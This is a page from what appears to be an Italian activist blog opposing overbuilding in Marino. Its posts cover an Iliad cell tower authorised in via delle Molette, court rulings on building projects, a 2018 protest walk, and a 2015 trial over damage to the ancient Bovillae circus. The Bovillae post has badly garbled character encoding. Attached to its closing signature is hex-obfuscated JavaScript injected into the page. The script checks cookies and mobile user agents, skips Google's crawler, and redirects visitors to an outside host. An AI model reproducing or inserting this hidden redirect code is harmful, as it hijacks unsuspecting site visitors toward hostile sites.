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Chi ha fatto palo? Iliad !

RILANCIO DELLA VITICOLTURA ?

MEGLIO UN RIPETITORE TELEFONICO

IN VIA DELLE MOLETTE

Partiamo subito con la notizia: in un terreno agricolo di via delle Molette sta per “nascere” una stazione radio base della compagnia di telecomunicazioni “Iliad”. E’ stata infatti concessa l’autorizzazione paesaggistica dal dirigente comunale dell’ufficio urbanistica, arch.Gentilini. Il responsabile del procedimento è invece l’arch.Costanzi, già dirigente dello stesso ufficio di Gentilini. L’autorizzazione è stata rilasciata lo scorso 18 febbraio alla “Iliad Italia” e alla “Elicom Radio Sistemi”. Appena venuti a conoscenza, pochi giorni fa, abbiamo chiesto tutti gli atti specifici come “Assemblea contro la cementificazione” e “Associazione contro tutte le nocività”. Infatti, dalla sola autorizzazione paesaggistica pubblicata sull’albo pretorio del sito del comune di Marino non è possibile capire l’entità del progetto.

Speriamo che queste informazioni possano venirci fornite al più presto.

Ad oggi, e siamo a metà marzo, nessun soggetto politico, né di maggioranza, né di opposizione si è interessato. E se lo faranno occorre essere chiari: le leggi sui limiti di emissione dei campi elettromagnetici sono molto “larghe” grazie al contributo del centro-sinistra con la legge quadro n.36 del 2001 e del centro-destra con il decreto e la legge Gasparri del 2002-2003 che in pratica autorizza l’installazione dei ripetitori in quanto considerati “opere di urbanizzazione primaria” come se si trattasse di fogne, rete idrica o illuminazione pubblica.

L’autorizzazione paesaggistica rilasciata dal comune di Marino è impugnabile al TAR entro 60 giorni oppure entro 120 giorni se l’eventuale ricorso è presentato al Presidente della Repubblica.

I dirigenti comunali nel concedere l’autorizzazione fanno presente che essa ricade sulle particelle 338-393-776-962 del foglio n.41 del catasto su “area di notevole interesse pubblico” ed in “zona E – terreno agricolo” con “paesaggio agrario di continuità” e “vincoli dichiarativi”.

Immagine 1: Individuazione delle particelle interessate dal progetto

Ma non si doveva rilanciare la viticoltura, orgoglio del territorio marinese, e difendere il territorio dalle speculazioni ?

A 25 euro per ogni quintale di uva raccolta, i proprietari avranno pensato che sia molto più piantare un palo solo piuttosto che un filare intero. Con buona pace del vicinato.

Le informazione estrapolate dal documento pubblicato sull’albo pretorio possono essere così sintetizzate.

Nel 2007 il Comune di Marino ha soppresso la Commissione Edilizia Comunale che poteva esprimere pareri consultivi in merito. Non molto ma sarebbe stato meglio di niente.

Il 23 dicembre scorso, lo stesso giorno che le società proponenti “Iliad” ed “Elicom” hanno protocollato una documentazione integrativa alla loro richiesta effettuata a luglio, i tecnici del comune hanno prodotto una relazione istruttoria che dichiara “compatibile” il progetto con i “vincoli paesaggistici anche in variante a precedente autorizzazione paesaggistica”.

Chiunque dica che al Comune di Marino gli uffici non sono efficienti è smentito: due giorni prima di Natale le due aziende protocollano una richiesta, essa giunge immediatamente all’ufficio preposto, dove trova la disponibilità di chi ci lavora che subito effettua una relazione istruttoria dando il via libera.

Poi, nonostante le abbuffate di capitoni, il rituale dei regali scartati il 25 e con in vista il cotechino di capodanno, viene inoltrata il 30 dicembre dal Comune alla Soprintendenza la relazione del 23 dicembre.

Da quel giorno, la Soprintendenza ai beni archeologici avrebbe avuto 20 giorni per dire qualcosa.

Non sappiamo se la settimana tra il primo dell’anno e la befana si siano ammazzati di lavoro alla Soprintendenza.

Pare di no, anche nei restanti tredici giorni successivi: loro non sono così efficienti come da noi a Marino ed in realtà non lo sono quasi mai a vedere le decine di altre autorizzazioni dove compare scritto che “sono trascorsi 20 giorni quindi vale il silenzio-assenso” perché non è stato espresso alcun parere dalla Soprintendenza Archeologica.

Sarà poca cosa, ma nel testo dell’autorizzazione c’è anche scritto a chiare lettere che al Comune di Marino non è stata costituita la “Commissione Locale per il Paesaggio” che esprime un parere obbligatorio da inviare alla Regione Lazio.

In Italia esiste una commissione per ogni cosa, di solito. In questo caso, no.

Qui da noi, per il paesaggio, si può soprassedere.

Ma perché tanta preoccupazione per l’ennesimo “palo della cuccagna” ?

Perché la cuccagna è da intendersi per i proprietari del terreno coinvolto che possono ricavare diverse migliaia di euro all’anno per un affare del genere. Per tutti gli altri, cioè per la popolazione circostante (con case che potrebbero essere di molto sotto la distanza minima dei 70 metri prevista per legge) una buona dose di campi elettromagnetici per tute le 24 ore di tutta la restante vita.

Illustrazione 2: Le distanze di sicurezza dalle abitazioni potrebbero non essere rispettate. Questo esempio ne mostra una di 50 mt, ma dipende in concreto da dove effettivamente le società vorranno realizzare la stazione radio base. Nel circondario ci sono diverse altre abitazioni.

 

Si tratta di vedere cosa prevede il progetto nel dettaglio. Ma intanto andrebbe fermato.

Anche perché nel 2014 il Movimento 5 Stelle, allora all’opposizione, presentò al Consiglio Comunale della giunta di centro destra una mozione che fu approvata all’unanimità, quindi anche dal centro-sinistra, che prevedeva la realizzazione di un “piano antenne” che modificasse quello vecchio in vigore con normative non aggiornate. E’ interessante notare che tutti la votarono e che la premessa della mozione riguardava il problema sanitario, le tensioni sociali tra i beneficiari e gli altri abitanti, il forte impatto visivo e la svalutazione degli immobili circostanti. Finora però non siamo riusciti a trovare alcuna informazione sul “piano antenne”, molto probabilmente non è stato redatto. Si è rimasti alle buone intenzioni ?

Già questo sarebbe più che sufficiente ad imporre uno stop all’ennesimo ripetitore, in una zona dove ce ne sono già diversi, purtroppo.

Anche il “piano antenne” non costituirebbe un argine invalicabile perché esso deve essere redatto con l’accordo di tutte le compagnie private. Apriti cielo…

Immagine 3: la scuola “Alessandro Silvestri” di via delle Molette dista un minimo di 160 mt dalle zone interessate

Non si tratta di tornare ai tempi delle “caverne” per intenderci, si tratta di non andare ad impiantare un’altra nocività per meri interessi speculativi e di nessuna utilità sociale. Profitti per pochi e salute a rischio per molti.

Comunque, a titolo informativo, lo scorso 31 gennaio è stata pubblicata la notizia che a Lenola in provincia di Latina la Elicom Radio Sistemi (a meno di un clamoroso caso di omonima, la stessa che vuole il ripetitore alle Molette)) ha subìto il sequestro dell’impianto installato abusivamente e già bloccato dalla Regione Lazio in seguito ad alcuni esposti presentati da comitati di cittadini.

Quindi ha ancora senso protestare organizzati e farsi sentire in tutte le sedi. Confortante.

Risultano indagate tre persone: due amministratori della società e un funzionario della Soprintendenza che ha rilasciato il via libera ai lavori (allora ci rimangiamo quanto detto sopra! Però hanno lavorato in senso contrario a quanto sperato).

Ecco, magari, un po’ di prudenza anche nella circostanza di via delle Molette non guasterebbe.

Che ogni compagnia telefonica possa installare una propria stazione radio è una diretta conseguenza del libero mercato che sta mandando velocemente in malora questo pianeta e i suoi abitanti pur di estrarre profitto in qualsiasi modo.

Queste “nocività” possono fermarsi.

L’interesse per la salute va difeso ogni giorno in ogni luogo.

Se c’è una cosa che in questi strani giorni vale come insegnamento è il non attendere che avvenga ciò che può essere evitato. Tra poco più di anno si torna a votare per le amministrative nel nostro Comune.

Possiamo rivolgere un invito alla popolazione ad autorganizzarsi perché è la migliore tutela da dinamiche di partito, tra i quali spicca quello dei palazzinari e dei cementificatori del territorio contro i quali ci battiamo da

sempre. Occhio agli show-man a caccia di consenso, ai quali della salute e della vivibilità di tutti noi non interessa un granché.

Si può vincere se c’è partecipazione diretta, cioè se ognuno fa qualcosa di concreto. Noi ci siamo.

Assemblea contro la cementificazione —- http://stopcemento.noblogs.org

Autorizzazione Paesaggistica Ripetitore Iliad via Molette – 18-02-2020 IN FORMATO PDF (prelevata dall’Albo Pretorio del Comune di Marino)

Aggiornamenti (quasi) primaverili

CEMENTO: A CHE PUNTO SIAMO ?

La scorsa estate l’Assemblea contro la Cementificazione ha realizzato e distribuito un dossier riepilogativo ma in questi pochi mesi le novità non sono mancate.

Il TAR del Lazio ha discusso i ricorsi presentati dai palazzinari che vogliono costruire 1,3 milioni di metri cubi di cemento mentre, da ormai 8 anni, non si è degnato di farlo con quanto prodotto da associazioni e cittadini che lottano contro tale ipotesi. Nel farlo, il TAR ha stabilito l’annullamento delle due delibere del Comune di Marino che nel 2018 avevano sospeso l’efficacia del protocollo di intesa Palozzi-Polverini e dei Piani Integrati (detti PRINT). Non ha però dato seguito alla richiesta di risarcimento danni per quasi 300 milioni di euro che i costruttori avevano contestualmente richiesto.

Come se l’inchiesta giudiziaria “Rinascimento” che ha svelato gli interessi tra imprenditori, politici e faccendieri non sia stata sufficiente a far comprendere anche al TAR che tutta l’operazione speculativa è marcia dal suo principio.

Il TAR ha stabilito che i costruttori possono chiedere alla Corte Costituzionale di intervenire anche sull’ampliamento del Parco dell’Appia Antica approvato in Regione un anno e mezzo fa.

Dopo il TAR, l’ultimo grado di giudizio sulla vicenda spetta al Consiglio di Stato al quale il comune di Marino ha fatto ricorso: bisognerà comunque aspettare l’udienza fissata il 17 settembre, cioè 7 mesi dopo la presentazione degli atti. Con comodo.

Il Ministero dei Beni e delle attività Culturali (MiBACT) ha proposto un vincolo di notevole interesse pubblico per circa 1200 ettari, molti dei quali ricadenti nel nostro comune. Ogni vincolo a tutele del territorio è un ulteriore granello di sabbia che può aiutare a salvaguardare la zona sempre più cementificata tra l’Ardeatina, l’Appia e la Nettunense però non è ancora definitivo. Anche su questo fronte i palazzinari faranno di tutto per tutelare le loro rendite.

Il Comune di Marino ha continuato a rilasciare permessi a costruire in buona parte delle aree soggette al cemento selvaggio: da Palaverta, a via Aldo Moro, a Quarto S.Antonio, dalla Nettunense ai dintorni del Parco Falcone. Si tratta principalmente di edifici residenziali ma anche distributori di carburanti.

Come se già non ce ne fossero abbastanza. Anche le autorizzazioni paesaggistiche vengono rilasciate frequentemente, ed in esse si legge ad esempio che “il comune non ha costituito la Commissione Locale per il Paesaggio” e che “la Sopraintendenza Archeologica non ha espresso il proprio parere quindi vale il silenzio-assenso”. E spesso queste autorizzazioni incidono su aree di pregio identificate nel PTPR.

Vogliamo ricordare un altro paio di cose: la prima è il Documento Preliminare di Indirizzo le cui linee guida sono state approvate recentemente dal Comune di Marino in vista della redazione del Piano Urbanistico, cioè del futuro PRG che l’amministrazione vorrebbe realizzare a “consumo di suolo zero”. In questo Documento si parla di 1,3 milioni di metri cubi di cemento già realizzati dal 2004 al 2016, di un aumento di 7.000 abitanti, di mancanza di servizi, di standard urbanistici inferiori ai minimi di legge (-25%), di un sistema viario al collasso e della razionalizzazione di scempi come Costa Caselle, via Kennedy, Quarto S.Antonio, Palaverta, Torre Paolina.e via Aldo Moro. Tutto ciò dovrebbe avvenire cercando di recuperare la viticoltura del territorio ma tutto il comparto è in crisi, il lavoro nero è dilagante nel settore e le cantine pagano l’uva una miseria al quintale. E sui terreni una volta agricoli vengono sempre più rilasciati permessi a costruire a favore dei proprietari o di società immobiliari, nonché autorizzazioni paesaggistiche per antenne di ogni tipo di operatore telefonico e pannelli fotovoltaici

Insomma, questo DPI è molto ben scritto, sembra un prezioso documento, si parla di strumenti di partecipazione diretta di cittadini e associazioni. Però esso si scontra con quanto avviene quotidianamente sotto gli occhi della stessa amministrazione comunale, la quale dopo aver per alcuni mesi interrotto il rilascio dei permessi a costruire appena insediatasi nel 2016, ha di fatto stabilito che tutte le zone in cui le ruspe erano già in azione, Mugilla inclusa, potevano tranquillamente continuare a riempirsi di cemento. Siamo così arrivati a circa 45.000 abitanti, con “zone di completamento” con le gru al lavoro e molti appartamenti costruiti ancora sfitti. A proposito, l’amministrazione non conosce, a suo dire, quanti appartamenti ci siano nel “suo” comune né sa quanti di essi siano abitati e quanti sfitti. Non ci sembra poco questa mancanza, specie se si vuole progettare, programmare, partecipare…

Nello stesso DPI si cita il rispetto di una determina regionale che fissa i limiti di anidride carbonica emanata dal sottosuolo per poter rilasciare i permessi a costruire: per anni abbiamo chiesto che questa fosse attuata, ad esempio, a Mugilla e ci è sempre stato risposto che è una “motivazione debole”. Adesso invece viene tirata fuori dal cassetto come se nulla fosse ?

Infine, uno studio sugli standard urbanistici, quello previsto per ottobre 2016, è stato finalmente redatto e doveva costituire la base dell’azione amministrativa per arrivare ad una delibera di sospensiva in autotutela, come annunciato a suo tempo. Ebbene, lo studio è ricco di lacune per stessa ammissione di chi lo ha redatto, praticamente inutilizzabile, e infatti non risulta neanche citato nel DPI.

Nel frattempo, con l’inizio precoce della campagna elettorale, i vecchi pescecani politici al soldo dei palazzinari sono pronti a mettere a frutto gli accordi con gli speculatori di ogni sorta.

Non ci sono alternative alla partecipazione diretta alle questioni che interessano decine di migliaia di persone nel nostro comune. Se ciò avviene tramite la delega, la catastrofe è annunciata ed è già in larga parte visibile. Altro che “svolta verde”.

Domenica 3 giugno: Passeggiata intorno ai cantieri del Gotto d’Oro

COMUNICATO

DOMENICA 3 GIUGNO – ORE 10.30

PASSEGGIATA CONTRO LA CEMENTIFICAZIONE DI MARINO

ritrovo presso il piazzale del “Gotto d’Oro”, in via Divino Amore 347

La Regione Lazio ha deciso di far ripartire il procedimento di Valutazione di Impatto Ambientale (VIA) per la costruzione del mega centro commerciale da 100.000 metri cubi in zona Gotto d’Oro a Marino, nel quadrante tra la via Appia, la via Nettunense e la via Ardeatina.

Tale scempio è sostenuto dalle società “DeA Capital” (De Agostini e INPS) ed “Ecovillage” (Parnasi) ed era stato fermato lo scorso anno grazie ai comitati e alle associazioni del territorio che avevano inondato gli uffici preposti di “osservazioni” contrarie alla speculazione.

Attorno al centro commerciale sono previste due nuove “frazioni”: 5.000 abitanti per il progetto della Ecovillage e 3.000 abitanti per Mazzamagna.

Questi nuovi abitanti servirebbero al centro commerciale come clienti dello stesso.

Per il progetto da 5.000 abitanti a favore di Ecovillage, per ora, la V.I.A. è bloccata e lo scorso anno si faceva notare alla Regione che l’impatto del centro commerciale non può essere scorporato dal progetto residenziale. Tale escamotage voluto dai costruttori risulta per loro utile dato che facendo percorsi separati, in tempi leggermente diversi, i due progetti troverebbero meno ostacoli.

Un’altra notizia, stavolta positiva, riguarda la sentenza del TAR del Lazio che l’8 maggio ha respinto il ricorso dei costruttori de “La Casa nel Parco”, cioè delle società “Cristina” e “Le Mole 2” attualmente impegnati a devastare l’area di Mugilla intorno alle scuole “Ciari” e “Verdi” di via Maroncelli a S.Maria delle Mole.

Dopo mesi di iniziative pubbliche, esposti e richieste da parte dell’Assemblea contro la Cementificazione, il comune di Marino effettuò i controlli nei cantieri e scoprì evidenti irregolarità, tali da emettere un provvedimento di sospensione dei lavori a luglio 2017, il quale però durò solo due mesi.

Infatti, il TAR, in prima istanza, diede ragione ai palazzinari. Dopo quasi un anno, entrando nel merito, gli abusi edilizi ed il mancato rispetto della convenzione con il comune sono stati riconosciuti anche dal TAR e, quindi, i lavori di costruzione degli 8 palazzi sui 17 previsti andrebbero di nuovo fermati.

Usiamo il condizionale perché l’amministrazione marinese ha più volte espresso la volontà di far mettere a norma gli speculatori di Maroncelli sul costruito e sul costruendo dichiarando, tra l’altro, che non è del tutto scongiurata l’ipotesi della costruzione di nuovi palazzi.

Infine, gli ultimi aggiornamenti riguardano un nuovo ricorso al TAR presentato dai costruttori del centro commerciale, della enorme zona residenziale a suo contorno e della zona di Muglla: essi hanno impugnato la delibera del consiglio comunale marinese approvata lo scorso febbraio che prevede la sospensione degli effetti del Masterplan da 12.500 abitanti, cioè che diede il via a tutta la vicenda nel 2011. Il ricorso mette quindi insieme costruttori con grandi capitali e costruttori locali, tutti impegnati a cementificare centinaia di ettari di Agro Romano dove non sono previsti né progettati servizi pubblici di alcun tipo (scuole, ambulatori, ospedali, centri ricreativi, centri anziani, parchi) andando così a gravare ulteriormente sulla vita di decine di migliaia di persone e di pendolari che si ritroverebbero a fare i conti con situazioni che vanno dalla mancanza di acqua all’aggravamento della viabilità ordinaria, all’inquinamento di falde. Per non parlare della devastazione completa di un paesaggio splendido che si è conservato in qualche modo nel corso dei millenni e che, ad ogni scavo, presenta ritrovamenti archeologici importanti e già in parte noti alla soprintendenza.

Per quanto riguarda i ricorsi presentati dall’Assemblea contro la Cementificazione, dal Comitato Argine Divino Amore e da altre associazioni del territorio sin dal 2011, il TAR del Lazio non ha ancora voluto esaminarli.

Ridurre però tutta la vicenda ad un contenzioso legale sarebbe un grave errore : è in gioco una posta molto alta che solo aumentando i livelli di partecipazione e mobilitazione può costruire quei rapporti di forza che tutelino l’interesse generale della collettività.

La situazione è questa. Pertanto, domenica 3 giugno invitiamo tutti/e a partecipare ad una nuova passeggiata nei luoghi dei cantieri limitrofi al Gotto d’Oro.

Marino, 31 maggio 2018

Assemblea contro la cementificazione

http://stopcemento.noblogs.org — stopcemento@inventati.org

Comunicato 30 maggio Assemblea contro la Cementificazione in PDF

Volantino per passeggiata 3 giugno 2018 Gotto d’Oro in PDF

Esito dell’udienza preliminare sul Circo antico di Boville

Riceviamo e pubblichiamo

Tutto rinviato ad ottobre al Tribunale di Velletri sul caso di scempio archeologico del circo dellai??i??antica Bovillae a Frattocchie

Un grande regalo agli imputati che sperano nella prescrizione. Ancora poco chiari i soliti “errori” delle notifiche.

http://www.inliberuscita.it/wordpress/wp-content/uploads/2014/04/Tribunale-Velletri2.jpg

Il 12 marzo scorso presso il Tribunale di Velletri A? iniziata l’udienza preliminare sullo spinoso caso di scempio archeologico del Circo di Bovillae a Marino. Il Circo A? famoso tra gli archeologi poichAi?? i suoi archi o “Carceres” che contenevano i carri in partenza delle corse sono gli unici ancora esistenti dell’intero mondo romano antico. Include un’area con edifici che ospitavano i sacerdoti che officiavano i giochi ed il culto della famiglia imperiale di Augusto, ricchi di mosaici, e proprio di essi A? stato fatto scempio con diverse costruzioni totalmente abusive ed illegali. Oltre al proprietario ed al suo tecnico, sono imputati una schiera di funzionari dell’Ufficio Urbanistica del Comune di Marino, iniziando dal dirigente ing. Stefano Petrini.

Nell’udienza del 12 marzo i cittadini presenti hanno testimoniato che lai??i??azione della giustizia A? stata impantanata da diversi cavilli burocratici, riguardanti le notifiche agli imputati. In un caso la notifica non era neanche stata spedita, in altri era stata spedita ma con piccoli errori, nel caso dei proprietari del terreno era stata mandata piA? volte al marito ma non alla moglie ai??i?? insomma un classico guazzabuglio allai??i??italiana in cui chi ci perde sono i cittadini onesti e invece chi ci guadagna, temendo il processo e cercando di traguardare la prescrizione, sono i molti soggetti istituzionali coinvolti.

E cosAi??, dopo sei mesi di indagini molto produttive, e dopo piA? di un anno in cui il caso era rimasto impantanato nei meandri del Tribunale, l’udienza preliminare ha partorito ai??i?? un bel rinvio di sette mesi ad ottobre 2015, un sonoro schiaffo dato allai??i??antico circo di Bovillae, che A? stato ingabbiato da un’accozzaglia di costruzioni anche aggiuntesi di recente, e su cui sembra che molte autoritAi?? chiudano entrambi gli occhi.

I cittadini presenti in tribunale, in rappresentanza di molteplici comitati ed associazioni ambientaliste di Marino che seguono con puntiglio questo caso da tempo, uscendo delusi hanno commentato ai???La giornata di oggi A? parsa a tutti noi una presa in giro. Ai?? sembrato che invece di perseguire gli evidenti abusi la Giustizia si sia arresa alla strategia dei piccoli cavilli degli avvocati degli imputati, volta ad arrivare alla prescrizione. La nostra azione tuttavia non si fermerAi??, non ci arrendiamo. Fino alla fine spereremo nella giustiziaai???.

Marino, 19 marzo 2015

Ambientalisti Pro-Bovillaevar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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